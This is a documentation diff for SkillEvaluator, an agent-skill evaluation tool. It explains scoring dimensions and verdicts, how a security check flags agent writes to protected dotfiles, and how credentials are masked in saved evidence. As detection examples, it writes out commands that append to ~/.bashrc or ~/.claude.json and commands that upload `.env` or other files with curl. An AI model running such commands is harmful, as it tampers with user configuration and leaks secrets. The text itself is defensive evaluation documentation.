~/.bashrc; npm test 2>&1 | tail -20` and - `source /opt/conda/etc/profile.d/conda.sh && python train.py 2>&1` do not. -- A protected file, in any home spelling, is the target of an output - redirection (`>`, `>>`, `>|`, `&>`, `2>`), an operand of `tee`, or a file - operand of a `sed` with `-i` or `--in-place`. The first `sed` operand is its - script and does not count, unless `-e`, `-f`, `--expression`, or `--file` - gives the script; then every operand counts. `sed` options are read in - their own case, so `-E` is not `-e`, and text attached to `-i`, as in - `-ie`, is the backup suffix. An argv-list command is read as the shell - command it runs, and each of its elements also on its own, so the script in - `["bash", "-lc", "sed -i 's/a/b/' /home/agent/.bashrc"]` counts as written. - So `echo x >> $HOME/.bashrc`, - `echo x | sudo tee -a /home/agent/.bashrc`, and `echo '{}' > ~/.claude.json` - receive the finding, while `cat ~/.gitconfig 2>/dev/null`, - `cat $HOME/.zshrc > /tmp/zshrc.bak`, - `sed -i -E 's#~/.claude/settings.json#.claude/settings.json#' README.md`, and - `source ~/.bashrc && cp dist/app.js "$OUT_DIR/"` do not. A `tee` or `sed` - argument list ends at the end of its line or at a `#` comment, so - `make test | tee build.log # env comes from ~/.zprofile` does not either. +Start with these three checks: -The second case reads the command text as written, as the earlier rule does. -A redirection, `tee`, or `sed` inside a quoted string counts, and its target -ends with that string: `sudo sh -c "echo x >> /home/agent/.profile"` receives -the finding, and `echo "Step 1 -> check"; cat "$HOME/.zshrc"` does not. The -commands after the string are still read, so -`echo "Step 1 -> check"; echo x >> "$HOME/.zprofile"` receives the finding. A -double quote escaped with a backslash does not end the string, so -`bash -c "echo x >> \"$HOME/.zprofile\""` receives the finding too. Quoted -strings are found as the shell finds them: an escaped quote, as in -`echo It\'s done`, starts none; a `#` comment ends at its line break, even -after a backslash, and quotes in it pair only within that line; and a quoted -string in a here-document body may span lines but never runs past the body. -A target in a comment or a body line ends with that line. So the apostrophe -in `# Show what's in the profile` does not change how the commands after it -are read. As the text is read as written, -text that only holds a write to a protected file receives the finding, as it -does for `~/.bashrc` under the earlier rule: printed text such as -`echo "run: echo x >> $HOME/.bashrc"` or -`echo "Copying settings -> ~/.claude/settings.json"`, a here-document body, an -`apply_patch` body line, a commit message, a redirection to a longer name such -as `~/.gitconfig.bak`, a `tee` or `sed` word that is another command's -argument, as in `grep -n tee ~/.zprofile`, and a comment that holds a write, -as in `ls # then run: echo x >> ~/.zprofile`. - -Other writes, such as `cp /tmp/x /home/agent/.bashrc` without a redirection -or interpreter code that opens the file, do not receive the finding. - -Security findings keep credentials out of their `evidence`, which is saved in -the verifier's `skill_evaluator_reward.json`, the collected results, and the -reports. A sensitive-path or sensitive-file-write finding records only the -protected entry it matched, such as `~/.bashrc` or `/root/.ssh`, never the -command or tool input. When the text holds more than one entry, the longest -wins, so a write to `/etc/profile.d/npm.sh` records `/etc/profile.d`, not -`/etc/profile`. A path found through a home spelling, such as -`/home/agent/.ssh/id_rsa` or `$HOME/.ssh`, records the `~/.ssh` entry, so the -evidence holds no user name or home directory. The without-skill baseline -comparison therefore matches these findings by entry: a with-skill write to -`~/.bashrc` is attributed to the baseline prompt or environment when the -baseline run also wrote to `~/.bashrc`, whatever each command wrote there. - -Destructive-command, network, prompt-injection, and refusal findings keep their -command, prompt, or response text with credentials masked. The masking is a -best effort over these forms. Public findings, private-plugin findings, and -saved judge evidence use the same credential masker: - -- private key blocks, and the key shapes that log redaction masks, such as - `sk-`, `nvapi-`, `AKIA`, GitHub tokens, and JWTs; -- URL user info, as in `https://user:token@host`, also when the password holds an - `@` (`https://user:p@ss@host`): the user info runs to the last `@` before the - host; -- `Authorization` header values (the `Bearer`, `Basic`, `Token`, or `Digest` - word stays, and any other scheme, such as `ApiKey` or `SSWS`, is masked with - its value), API-key and token headers such as `X-API-Key`, and `Cookie` - header values. A quoted header value is masked to its closing quote; an - unquoted one, as in `curl -H Authorization:$TOKEN -d @.env URL`, is masked to - the end of its word, so the rest of the command stays readable; -- the values of long flags whose name holds a credential word, such as - `--password`, `--token`, `--client-secret`, `--db-password`, or `--cookie`, - also with `_` between the words (`--db_password`, `--api_key`), and a - `curl -b name=value` cookie. A `_` flag joined to its value with `=`, or - followed by a separator (`--api_key = ...`), is read as an assignment, and - an unquoted value after a `_` flag and a space ends at `;`, `|`, or `&`. - A `_` flag value that holds a credential name whose value runs past it, as - in `--set_secret API_TOKEN="..."`, or is already masked - (`--set_secret API_TOKEN=`) or in escaped single quotes - (`--api_key API_KEY=\'...\'` in a Python string), is read as an assignment - too, so masking such a value again keeps it as it is; any other `_` flag - value, as in `--set_secret SLACK_TOKEN_URL=...`, is masked whole. Inside a - single-quoted `sh -c` or `ssh` command string, a value quoted with the - `'"'"'` or `'\''` idiom runs to the next such idiom - (`ssh host './deploy --password '"'"'two words'"'"''`). A - flag that takes a file or nothing, such as `--password-stdin`, - `--token-file`, or `--cookie-jar`, and token-count flags `--max-tokens` and - `--token-limit` (or `--max_tokens`), keep the word after them. A - `-b cookies.txt` cookie jar keeps its path too. A shell operator after a - flag is no value (`gh auth login --with-token < token.txt`). A flag that - takes no value masks the next word as its value; when that word starts a - command whose password is masked below, as in - `--use-token mysql -u root -p...`, that password is masked too, and so is - an attached `-p...` element after a `mysql` or `login` element such a flag - takes in an argv list. So is a `docker login` or `mysql` password after a - credential flag value that holds a `-p` or `;` - (`--use-token docker login --token "x -p y" -p ...`), and the value after - a config set key and ` = ` - (`--use-token npm config set _auth = token="..."`). A `docker login`, - `.netrc`, or `/usr/bin/mysql` - password after a `\n` inside a flag value or right after the value is - masked too, and so is a `docker login` password after a `\n` right after an - argv list whose last element is masked - (`["wrap", "--password", "..."]\ndocker login -p ...`); the plain `mysql`, - `sshpass`, and `aws configure set` rules below do not match after a `\n` - escape. The rest of a `.netrc` password that holds a flag - value is masked as well, and so is a quoted `-u` value whose only colon a - flag value inside it holds (`-u "bob --api_key \"x a:..."`). A name, - command, or `.netrc` phrase that such a password runs into is masked as - its own rule masks it (`--use-token mysql -u root -p...password: ...`). A - flag inside the quoted value of an earlier `_` flag is read too, and the - rest of its value past that quote is masked, as is a name or command that - rest runs into; a flag inside the value of a `-` flag is not read. The - argv rule below also reads list elements as they were before flag values - were masked, so a masked value that cuts an element - (`--set_secret "auth_type=x ["mysql", "-p..."]`) does not hide the - credential after it. When text an earlier rule masked, such as a flag value - that runs over the JSON-escaped line break or quote at which the value of - an earlier name ended, lies inside that value before a later credential - name, the rest of the later name's own value is masked too, as it is when - that name is read on its own - (`\"password: ... --api_key ...\\nb passwd = ...` in a tool call's JSON - arguments repeated as JSON, where that value runs to the end of the outer - string). A credential name at the start of a line after a JSON-escaped line - break that an unquoted assignment value ran over is read on its own too - (`API_TOKEN=a\nauth=("bob", "...")`); -- a `-u`, `-U`, `--user`, or `--proxy-user` value that holds a colon, such as - `user:password` or an API key with an empty password (`KEY:`), also attached - (`-uuser:password`) or at the end of a flag group (`curl -su user:password`); - `python -u`, `pip --user`, a URL such as `pip install -U git+https://...`, - a remote path such as `rsync -u host:/data`, and a date format such as - `date -u +%H:%M:%S` are left alone; -- `-p` after a login subcommand (`docker login -u bot -p ...`, also attached as - `-p...`) or `sshpass`, and attached to a MySQL client run by name or from a - `bin` directory (`mysql -p...`, also quoted, as with the `'"'"'` idiom); - `mkdir -p`, `ssh -p 2222`, - `git log --author=login -p`, and `find /var/lib/mysql -path ...` are left - alone; -- the same flags as elements of an argument list, as in - `subprocess.run(["tool", "--password", "..."])`: the element after a - credential flag, after `-u`, `--user`, or `--proxy-user` when it holds a - colon, after `-b` when it holds `=`, and after `-p` that follows a `login` - element or comes right after an `sshpass` element, and an attached `-p...` - element after a `login` or MySQL client element, also when each element is - on its own line; -- credentials set with `aws configure set`, `npm config set` (or `npm set`), - `pnpm config set`, `yarn config set`, or `git config`, also after options - such as `--location=global` or a `--` that ends them, and with a quoted key, - also when its quotes are JSON-escaped, as in saved tool-call arguments - (`_authToken`, `npmAuthToken`, `"github.token"`); `git config --get` and - `--unset` take no value. An unquoted value after a quoted key or one after - `--` ends at `;`, `|`, or `&`, and such a key's value that holds a - credential name whose value runs past it or is already masked is read as - an assignment. The command may follow a `\n`, `\r`, or `\t` escape - (`db\nnpm config set ...`). Inside a quoted string, the value after a key - and a separator word (`npm config set _auth = ...`) runs to the closing - quote, a shell operator, or an escaped quote, so a command after it stays - readable. A `.netrc` `password` value is masked too, also when the - entry spans lines in a here-document or a `printf` string; -- values assigned to a credential name, such as `_authToken=...`, - `aws_secret_access_key = ...`, `"password": "..."`, `token := "..."`, - `os.environ["API_KEY"] = "..."`, `auth=HTTPBasicAuth("bob", "...")` (also - with its arguments on several lines, or with a `(` or `)` inside a quoted - argument, as also in `auth=("bob", "...")`), `PASS=...`, `DB_PASS=...`, or - `MYSQLPWD=...`, also JSON-escaped inside a shell string, in escaped single - quotes as in Python source (`'DB_PASSWORD=\'two words\''`), quoted with the - `'"'"'` or `'\''` idiom inside a single-quoted command string, and in a - `sed` replacement with `/` as its delimiter, such as - `sed -i 's/CHANGEME/password=.../'`, also inside a `sh -c` or `ssh` command - string. A word with parentheses in it, such as - `password: Pa(ss),word`, is masked whole. A bare `PASS` is - left alone as test output or a counter, such as `PASS: 3`, - `--- PASS: TestName`, `PASS=0`, or `"pass": true`, but OpenSSL's `pass:...` - and a quoted `"pass"` key or value are masked. Inside a quoted string, - wherever the name sits in it, the value runs to the closing quote, a `\n` - escape, or the `&` before the next field of a form body, so the values in - `echo ' password: correct horse battery staple'`, - `curl -d "username=bob&password=..."`, and - `curl -d'username=bob&password=...'` are masked whole. Inside a `sh -c` or - `eval` string, a remote `ssh` command, or a `node`, `perl`, or `ruby` `-e` - program, a value is one word, so the command after it stays readable. A - name that ends in `_URL`, `_DIR`, `_PATH`, `_FILE`, or a similar location - word keeps its value unless it also names a secret or password, as do - `token_type` and a count such as `max_tokens=100`. `grep "token=" ...` - keeps the rest of the command, because that quote closes the pattern; -- `ghp_`-style, `github_pat_`, `glpat-`, `npm_`, `xox*-`, and `hf_` tokens. An - identifier such as `hf_hub_download` or `npm_config_registry` is left alone. - -Escaped quotes inside double-quoted values are consumed with the value. Shell -backslash-newline continuations are joined before masking; ordinary newlines -are preserved. - -A credential in another form can still appear, such as free prose (`my password -is ...` or `use token ...`), a `.pgpass` line, a standalone `pypi-` token, URL -query parameters named only `key`, `sig`, or `signature`, a `redis-cli -a` or -`unzip -P` password, a -password after an unknown flag or in a here-string (`--password-stdin <<< -...`), a `pip config set` value, a `sed` replacement that names no -credential (`s/PASSWORD/.../`) or uses another delimiter inside a `sh -c` or -`ssh` command string (`s#token: .*#token: ...#`), a `mysql` password after a -`;` inside a flag value that names no credential, an `auth=` call whose -arguments are quoted with nested `'"'"'` idioms, a tuple or call value on the -line after a `\n` escape that a flag or config value runs over -(`--password K1\nauth=("bob", "...")`), an unquoted `PASS: value`, an -`npm config set` option with a separate value (`--location global`), or all -but the first word of a value with spaces on an unquoted here-document line -or inside a `sh -c` or `ssh` command string. Escaped text is read with at most two levels of -escapes removed, so a value can also appear in text escaped more than three -times, in a single-quoted value whose quotes are escaped three times, in text -that holds a NUL character (which is not read again), in JSON inside a Python -`repr` (where `\\"` is an escaped quote), after an escaped quote inside a quoted -Python argv value, in the arguments of a call value whose single quotes are -escaped inside a single-quoted Python string -(`'auth=HTTPBasicAuth(\'bob\', \'...\')'`), and where text escaped once keeps -part of a value (`"password: \"two words\""` at the start of a JSON string, -or a call value split over lines in JSON text). -Some ordinary words are masked, such as the path in `grep -r token: /etc`, the -value of a flag that names a token other than `--max-tokens` and `--token-limit` -(`--max-new-tokens 256` or `--tokenizer_name gpt2`), the words after a -`.netrc`-like `login NAME password` phrase in prose, after an unmatched -quote, the rest of the line after a credential name, and in a JSON string, -the rest of the string after a credential name that starts a `sed` -expression. Where the text that a reading with escapes removed keeps around -its masked values fits that reading in more than one place, everything -between those places is masked (the second `-p` in `--token "x -p y" -p ...` -in a tool call escaped twice). As escapes are also -decoded in text that was never escaped, an escape that leaves a quote -unmatched there can mask the rest of its line after a later credential -assignment such as `export GITHUB_TOKEN=$(...)`: a `\n`, `\r` or `\u000a` -inside a single- or double-quoted string (`printf '%s\n'`, `echo "a\nb"`, -`cd "C:\repo\x"`), or an odd number of `\"` in a double-quoted string -(`echo "it\"s"`). That can hide the rest of a command that a destructive or -network finding is about. Quotes are read from the start of each line, and -unlike in a shell, a line break ends a quoted string here, so a quoted value -ends at its closing quote or at the end of its line. -For security findings, only the first 2,000 characters are scanned. Judge -evidence retains the separate judge evidence budgets described above. -A word that the security-finding scan limit cuts in -half is replaced with ``, keeping a URL's scheme and host. The -evidence is then cut to 500 characters, or 300 for prompt and response text. - -`token_efficiency` is a standalone report signal, not a dimension source. It -never changes a dimension score or the overall verdict. - -The report's **Measured Agent Resources** table separately compares prompt plus -completion tokens and Harbor's measured agent execution seconds. Cache tokens -are included in prompt totals, not subtracted or counted again. Time excludes -environment setup, agent installation, and evaluator judging. Delta means -with-skill total minus baseline total: negative values indicate less observed -use. A delta requires complete telemetry, complete execution evidence, and matching -case counts including repeated attempts. Missing measurements, skipped baselines, -partial runs, and unsupported multi-step timing remain `N/A`; they are not zero. -The same table splits each trial's trajectory time into LLM seconds and tool -seconds, from native ATIF timing or inferred from step timestamps and Codex -tool wall times, and says which source each arm used. See -[Reports & Results](/skills/skillevaluator/reports) for the timing rules. -These observations include failed task outcomes. Lower use alone does not -establish improved task quality or Efficiency: a failed task can use fewer -resources. Pairing does not certify equal concurrency or budget, or actual -judge-model agreement. Reused baseline measurements remain historical rather -than fresh or independent evidence. These diagnostics do not change the graded -Efficiency score or establish a cost claim. - -Each dimension receives a score and a diagnostic band: **PASS** at 0.50 or -above, **NEUTRAL** from 0.40 to below 0.50, and **FAIL** below 0.40. A supported -agent passes only when every dimension passes. The top-level Tier 3 verdict is: - -| Verdict | Condition | +| Look at | What it tells you | | --- | --- | -| Pass | At least one successful agent has every dimension ≥ 0.50 | -| Neutral | No agent passes, but at least one has no dimension below 0.40 | -| Fail | Every successful agent has a dimension below 0.40 | - -A dimension with no score, such as Correctness when no case defines -`ground_truth`, keeps that agent from passing. It does not hide another -dimension below 0.40: that agent still counts as Fail, unless its skill never -activated. A never-activated agent stays INCONCLUSIVE (see -[What a live eval measures](#what-a-live-eval-measures)). - -Skill Lift compares Overall on the metrics and cases both arms scored, so it can differ from the displayed with-skill Overall minus baseline Overall when the baseline has N/A dimensions. Judge-model exclusions can make it differ from subtracting the displayed arm means; when no complete comparison with matching judges remains, lift is unavailable. It uses the same score units as the two arms; -because it is a difference, it ranges -from -1.0 to +1.0. Its independent band is **PASS** at +0.05 or above, -**NEUTRAL** between -0.10 and +0.05, and **FAIL** at -0.10 or below. Lift is -diagnostic evidence and does not override the every-dimension gate. - -With multiple attempts, pass@k shows whether at least one attempt per case met -`--pass-threshold` — reliability context alongside Skill Lift, not a -replacement for the dimensions. In `custom_only` mode, pass@k uses the custom -overall reward; the dimension rows stay visible but read **NO SCORE**, and -custom metrics are never re-labeled as standard dimensions. +| **Run status and coverage** | Did both arms finish with enough evidence to compare? Incomplete or inconclusive results need investigation. | +| **Skill Lift** | How the scored outcomes changed with the skill. Positive means improvement on the evaluated cases; negative means worse outcomes. | +| **Individual trials** | What the agent did, whether the skill activated, and which cases failed. | -Missing metrics are never coerced to `0.0`: an unscored run reports an -`overall_score` of `None`, averages omit unscored metrics, and the affected -cells render **NO SCORE**. `compare` likewise ignores stored summaries whose -`execution_status` is not `succeeded`. +The run prints its output directory. By default, reports are saved under +`./my-skill/evals/results/`; open that run's `report.html` or inspect `result.json`. +[Understand scores and verdicts](/skills/skillevaluator/tier3-results). -The verdict table above applies only when the run succeeds. When one of several -agents fails, the run's `execution_status` is `failed`, its `overall_score` is -`None` and its `verdict` is `neutral`, even if another agent completed. The -same holds when every agent finished but they were scored on different metric -sets. If one of several agents fails and the run's best agent completed with -full evidence, the HTML report and `tier3-benchmark.md` still show that agent's -score and mark it as needing attention; see -[Completed agents in an incomplete run](/skills/skillevaluator/reports#completed-agents-in-an-incomplete-run). +## Build on your first run -The canonical Tier 3 payload embedded by both standalone `evaluate` and -`validate --agent-eval` reports uses schema version 2.0. A completed -standard-grading payload includes the summary, five dimensions, per-agent -results, trials, pass@k, attempt policy, run-owned dataset summary and digest, -evaluation timestamp, evaluator version, score policy, and verdict policy; advisory or -skipped payloads may leave live-evidence sections empty. - -Generated `BENCHMARK.md` cards put the verdict first, label each result column -as `Baseline → Skill Uplift`, show all three tier states, and keep methodology -collapsible. See the [rollout and backfill runbook](/skills/skillevaluator/benchmark-rollout) before -regenerating already-published cards. - -[Reports & Results](/skills/skillevaluator/reports) covers the full on-disk layout, the -machine-readable JSON contract, and how to judge whether a given lift is good. + + + Review a fuller dataset, repeat attempts, and compare skill versions. + + + Use committed evaluation cases in the automatic CI workflow. + + + Configure another agent, local execution, or a cloud backend. + + + Check routing expectations or measure skills used together. + + ## Troubleshooting - - Set `SKILL_EVAL_LLM_PROVIDER` and the corresponding evaluator-provider key. - See [Providers & Credentials](/skills/skillevaluator/configuration). - - - Export the agent's credential in the host environment where you run - `skillevaluator` — agent credentials are read only from the host, never - from `evals/config.yml`. It is a separate role from the evaluator key, - except with `nv_build` in Docker, Kata, or local mode, where one - `NVIDIA_API_KEY` covers both. - - - Start Docker or configure the selected `--env-mode`, then re-run - `skillevaluator doctor` with the same agent and environment. - - - A trial's Compose project normally creates its own Docker network, and - Docker carves each one from a limited set of default address pools. Each - running trial holds a network, so a run holds up to `--n-concurrent` - networks for each agent running in parallel, and up to `--max-agents` - agents run in parallel, every selected agent by default. Networks that - interrupted or killed runs left behind, or too many trials at once, can use - the pools up. Docker then fails to create the next trial's network with - this error, or with `could not find an available, non-overlapping IPv4 - address pool`, and the trial's failure reason names the cause ahead of - Docker's message. List the leftover trial containers and networks with - `docker ps -a --filter label=com.docker.compose.project` and - `docker network ls --filter label=com.docker.compose.project`, check their - project names, and remove the containers with `docker rm -f` and then the - networks with `docker network rm`. Then rerun, with a lower - `--n-concurrent` or `--max-agents` if the pools still run out. - - - Write task requests and observable outcomes in `eval-guidance.md`, then run - `skillevaluator create-eval-dataset ./my-skill --prompt eval-guidance.md`. - For explicit skill-only generation, use - `skillevaluator create-eval-dataset ./my-skill --grounding skill`, or author an - accepted dataset file under `evals/`. See - [Eval Datasets](/skills/skillevaluator/eval-datasets). + + Replace the example key and export it in the terminal running + `skillevaluator`. Keep credentials out of `evals/config.yml`. + Run `skillevaluator doctor --env-mode docker` again. See + [provider setup](/skills/skillevaluator/configuration). - - Supply a model valid for that agent with `--agent-model AGENT=MODEL`. The - evaluator provider's default model is not automatically valid for every - agent. + + Start Docker and check `docker info`. For a model override, pass + `--agent-model AGENT=MODEL` with a model supported by that agent and + provider. See [agents and readiness](/skills/skillevaluator/agents-and-sandboxes). - - The model provider's safety classifier stopped the selected model on that - case. SkillEvaluator turns Claude Code's refusal model fallback off - (`CLAUDE_CODE_DISABLE_REFUSAL_FALLBACK=1` in every staged task), so the - attempt ends on the selected model instead of retrying on another one. - Like any other failed trial, the attempt is not scored, so the arm no - longer has complete attempt coverage and its execution fails: after one - refusal in 20 cases with 3 attempts each, the run's `result.json` records - `Scored attempt coverage is 59/60`. `tier3 evaluate` then exits 1, and so - does `validate --block-on-agent-eval`. `tier3 evaluate --verbose` lists the - refused trial and its `AgentSafetyRefusalError` in the terminal. The - execution errors in `result.json` call it an `Unscoreable reward`, not an - agent runtime failure, because a refusal is the model's response to the - case rather than an infrastructure failure. Review the case prompt and the - skill content that the agent read, then rerun, or run the arm with another - model through `--agent-model claude-code=MODEL`. See - [Agents & Sandboxes](/skills/skillevaluator/agents-and-sandboxes#supported-agents). - - - Re-run with `--harbor-keep-jobs` — Harbor artifacts are transient and - deleted by default whether the run succeeds or fails. With retention on, - the Artifacts panel prints the exact - `skillevaluator tier3 harbor-view ` command to browse the - retained jobs; `skillevaluator view` opens the HTML report. + + Inspect the failed trials before interpreting the scores. A completed + command alone does not prove that the skill helped. See + [result interpretation](/skills/skillevaluator/tier3-results) and + [runtime troubleshooting](/skills/skillevaluator/tier3-runtime#troubleshooting). -## Next steps - - - - The full evals/ contract — dataset format, generation, and config.yml run - policy. - - - Every supported agent and execution environment, plus readiness and - debugging tools. - - - Bring your own grader or a complete Harbor task when the defaults can't - express success. - - - What every run writes to disk and how to read it — including the JSON - contract for CI. - - +## Advanced topics + +
+
+
+
+
+
+
+
+
+
+
+
+ + + - [Prepare and review a fuller evaluation](/skills/skillevaluator/tier3-run-options#prepare-and-review-a-fuller-evaluation) + - [Check readiness](/skills/skillevaluator/tier3-run-options#check-readiness) + - [Generate an eval dataset](/skills/skillevaluator/tier3-run-options#generate-an-eval-dataset) + - [Review the cases](/skills/skillevaluator/tier3-run-options#review-the-cases) + - [Run the comparison](/skills/skillevaluator/tier3-run-options#run-the-comparison) + - [Read the report](/skills/skillevaluator/tier3-run-options#read-the-report) + - [Plan for cost](/skills/skillevaluator/tier3-run-options#plan-for-cost) + - [Cost and local mode](/skills/skillevaluator/tier3-run-options#cost-and-local-mode) + - [Tune the run](/skills/skillevaluator/tier3-run-options#tune-the-run) + - [Reuse a baseline](/skills/skillevaluator/tier3-run-options#reuse-a-baseline) + - [Compare skill versions](/skills/skillevaluator/tier3-run-options#compare-skill-versions) + - [Baseline only runs](/skills/skillevaluator/tier3-run-options#baseline-only-runs) + - [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts) + - [Cost limits](/skills/skillevaluator/tier3-run-options#cost-limits) + + +
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+ + + - [How a run works](/skills/skillevaluator/tier3-runtime#how-a-run-works) + - [Where agents run](/skills/skillevaluator/tier3-runtime#where-agents-run) + - [Execution backends](/skills/skillevaluator/tier3-runtime#execution-backends) + - [Harbor 025 compatibility](/skills/skillevaluator/tier3-runtime#harbor-025-compatibility) + - [Two ways to run tier 3](/skills/skillevaluator/tier3-runtime#two-ways-to-run-tier-3) + - [Paired tier 3 in automatic ci](/skills/skillevaluator/tier3-runtime#paired-tier-3-in-automatic-ci) + + +
+
+
+
+
+
+ + +
+
+
+ + + - [What a live eval measures](/skills/skillevaluator/tier3-results#what-a-live-eval-measures) + - [Reading results](/skills/skillevaluator/tier3-results#reading-results) + - [Which dimensions apply to each arm](/skills/skillevaluator/tier3-results#which-dimensions-apply-to-each-arm) + + +
+
+
+ + +
+
+
+
+
+
+ + + - [How standard grading judges a trial](/skills/skillevaluator/tier3-grading#how-standard-grading-judges-a-trial) + - [The graded trajectory](/skills/skillevaluator/tier3-grading#the-graded-trajectory) + - [Character sensitive judging](/skills/skillevaluator/tier3-grading#character-sensitive-judging) + - [Evidence budgets](/skills/skillevaluator/tier3-grading#evidence-budgets) + - [Judge requests and retries](/skills/skillevaluator/tier3-grading#judge-requests-and-retries) + - [Judge fallback and retry policies](/skills/skillevaluator/tier3-grading#judge-fallback-and-retry-policies) + + +
+
+
+
+
+
+ + +
+
+ + + - [Skill interaction experiments](/skills/skillevaluator/tier3-experiments#skill-interaction-experiments) + - [Repeatable activation validation](/skills/skillevaluator/tier3-experiments#repeatable-activation-validation) + + +
+
diff --git a/docs/tier3-results.mdx b/docs/tier3-results.mdx new file mode 100644 index 000000000..6bcf8e80b --- /dev/null +++ b/docs/tier3-results.mdx @@ -0,0 +1,688 @@ +--- +title: "Interpret Live Evaluation Results" +description: "Understand dimensions, Skill Lift, applicability, incomplete evidence, and verdicts." +--- + +For your first comparison, start with [Run a live evaluation](/skills/skillevaluator/tier3-live-evaluation). + +## What a live eval measures + +SkillEvaluator runs a real agent (`codex`, `claude-code`, or `opencode` — +`claude` is accepted as an alias for `claude-code`) against the same eval +cases twice: once with the skill installed +(the with-skill arm) and, unless you pass `--skip-baseline`, once without it +(the baseline arm). Both arms execute inside a selected +[Harbor](https://github.com/harbor-framework/harbor) environment. Harbor is the +open-source agent evaluation framework that runs the trial, so the only +experimental variable is the skill itself. **Skill Lift** is the signed +difference between the two arms — the direct measurement of what your skill +contributes. With multiple attempts per case, **pass@k** adds a reliability +signal alongside it. + +With `default` or `default_plus_custom` grading, reports lead with five +human-readable dimensions: + +| Dimension | Question answered | +| --- | --- | +| Security | Is it safe to use? | +| Correctness | Does it do what it's supposed to? | +| Discoverability | Is it loaded when it should be? | +| Effectiveness | Is it better with the skill than without? | +| Efficiency | Does it route correctly and use tools productively? | + +In `custom_only` mode, your own grader defines the score instead — see +[Custom Graders & Tasks](/skills/skillevaluator/custom-graders). + +For the exact formula behind every one of these numbers — each dimension, the +Overall Score, Skill Lift and pass@k, with its range, units, the checks or +judges that produce it, and how to recompute it from the JSON report — see the +[Metrics Reference](/skills/skillevaluator/metrics-reference). It also states which +values carry LLM judge variance and what the project has and has not validated. + +If every positive with-skill trial has a confirmed activation score of zero, +the result is **INCONCLUSIVE: skill never activated**. Tier 3 keeps the arm +scores for inspection but omits lift comparisons and skill-quality advice for +that agent. A positive case with failed activation receives a `skill_execution` +score of zero, even if unrelated commands succeeded. Activation counts exclude +negative controls; missing or unsupported activation evidence remains unknown. +When at least one positive trial activates the skill, lift remains eligible +subject to the comparison requirements below. This also makes activation +failures visible with `--skip-baseline`. +## Reading results + +In the terminal, a finished run renders **Results by Evaluator** — each +evaluator's metrics plus Skill Lift — and **Results by Dimension**, the five +rollups, followed by a compact Artifacts panel pointing at the report and +output directory. A failed run renders the same structured display instead of +a bare exception. + +Every evaluator score and dimension score is on a 0.0 to 1.0 scale. The +generated standard grader rejects non-finite values and clamps numeric scores +with `max(0.0, min(1.0, score))`. If a required judge fails, the result is +unscored rather than converted to `0.0`. + +A metric can also be N/A (not applicable) for an eval case. It never counts as +`1.0` or `0.0`: + +- `behavior_check` is N/A when the case has no `assertions` (legacy + `expected_behavior`), and `accuracy` and `goal_accuracy` when it has no + `expected_output` (legacy `ground_truth`). An empty or whitespace-only + reference, or an empty list, counts as missing. The verifier does not call + those judges. `skillevaluator tier3 ./my-skill` and `tier3 init-harbor-task` + reject an empty `expected_output` only in a `{"skill_name", "evals"}` + dataset. A flat dataset (a JSON or YAML list, `{"cases": [...]}`, or any + `evals.jsonl`) is legacy: there an empty or whitespace-only + `expected_output` or `ground_truth` is accepted and makes `accuracy` and + `goal_accuracy` N/A. +- `skill_execution` and `skill_efficiency` are N/A in a baseline arm that has + no skill it could activate. A baseline arm that stages a skill the case could + activate is scored on them, and the case rules below apply to it too. +- `skill_efficiency` is N/A for a negative case (`should_trigger: false`, or a + `null` or empty `expected_skill` without `should_trigger`, which is how + `create-eval-dataset` writes one), because the case expects no skill use to + measure. `skill_execution` still scores a negative case: it checks that the + agent left the skill under test alone. +- Both are N/A for a case that is not negative and names no `expected_skill`: a + legacy case without `expected_skill` and `should_trigger`, or one with + `should_trigger: true` and no `expected_skill`. In the agentskills.io shape a + case without `expected_skill` gets the dataset's `skill_name`. +- A positive case whose agent made no tool calls still scores `0.0` on both. +- Efficiency has a with-skill score only when some case is positive and names + an `expected_skill`. Without such a case the agent cannot PASS (see below), + for example when every case is negative, as in a run filtered to the negative + cases, or when no case names an `expected_skill`. Discoverability then has no + with-skill score either, unless some case is negative. +- Security is never N/A. + +In `skill_evaluator_reward.json` an N/A metric's value is `null`, and +`details.` records `status: "not_applicable"` and a `reason`. +Harbor's numeric `reward.json` leaves the metric out. The trial's overall +score, the dimension scores, pass@k and Skill Lift leave N/A metrics out, and +a dimension whose metrics are all N/A drops out of the overall score. A judge +that answers N/A for a case that defines its reference counts as a failed +judge, so the trial is unscored. Each arm's `summary.json` lists the metrics +that were N/A in every trial (`not_applicable_metrics`) and how many trials +marked each one (`not_applicable_counts`). The terminal summary and the +Markdown and HTML reports show `N/A` for those scores and for their lift. + +An agent's verdict reads only the with-skill arm, and the agent can pass only +with a with-skill score in every dimension. When a dimension's metrics are N/A +in every with-skill trial, for example Correctness when no case defines +`expected_output` (legacy `ground_truth`), that dimension has no with-skill +score, so the agent cannot PASS (see the verdict table below). A dimension that +is N/A only in the baseline, such as Discoverability and Efficiency in a +baseline with no skill it could activate, does not affect the verdict. + +| Dimension | Key question | Maps to | Weights | Source | +| --- | --- | --- | --- | --- | +| Security | Is it safe to use? | `security` | 1.0 | Deterministic checks of the trace and agent actions | +| Correctness | Is the answer correct? | `accuracy` | 1.0 | LLM judge (`judge_accuracy`) | +| Discoverability | Was the right skill loaded when needed? | `skill_execution` | 1.0 | Deterministic checks of the trajectory and tool calls | +| Effectiveness | Did the skill help complete the task? | `goal_accuracy` + `behavior_check` | 0.5 + 0.5 | LLM judge plus directly evaluated declared checks | +| Efficiency | Did it avoid wasted tool or skill usage? | `skill_efficiency` | 1.0 | Deterministic checks of the trajectory and tool calls | + +The Security check's network rule warns when an agent's `curl`, `wget`, or +HTTPie command uploads data (for example `-d`, `-F`, `-T`, `--post-data`, or a +`POST`, `PUT`, or `PATCH` method) or sends a secret-named variable. Every client +named after another command, as in `find . -exec curl -d @{} URL \;`, is +checked with its own rules, so a command that only names a client, such as +`apt-get install -y curl`, `which curl`, `grep -rn http src/`, or prose in a +here-document, is not a network command, and a plain request through a command +that is not a runner, such as `strace -f curl URL`, is scored like a direct +`curl URL`. A mention followed by an HTTP method, an upload flag, or a +`key=value` word, such as `http POST` in prose or +`grep -n http server.log status=500`, still warns. + +Linux finds a command by its exact name, so a later bare word spelled `HTTP`, +`HTTPS`, or `Http`, as in the here-document or `apply_patch` prose +`Use HTTP POST to create an item.`, does not start HTTPie. Its method word is +not read as an upload, while a body item, piped or redirected input, or `--raw` +after it still warns. Its method word still warns when a `name:@file` item +follows, because that item may send a file as a header. The shell removes +quotes and backslashes and expands braces first, so a quoted, escaped, or brace +item such as `X-Data:"@.env"`, 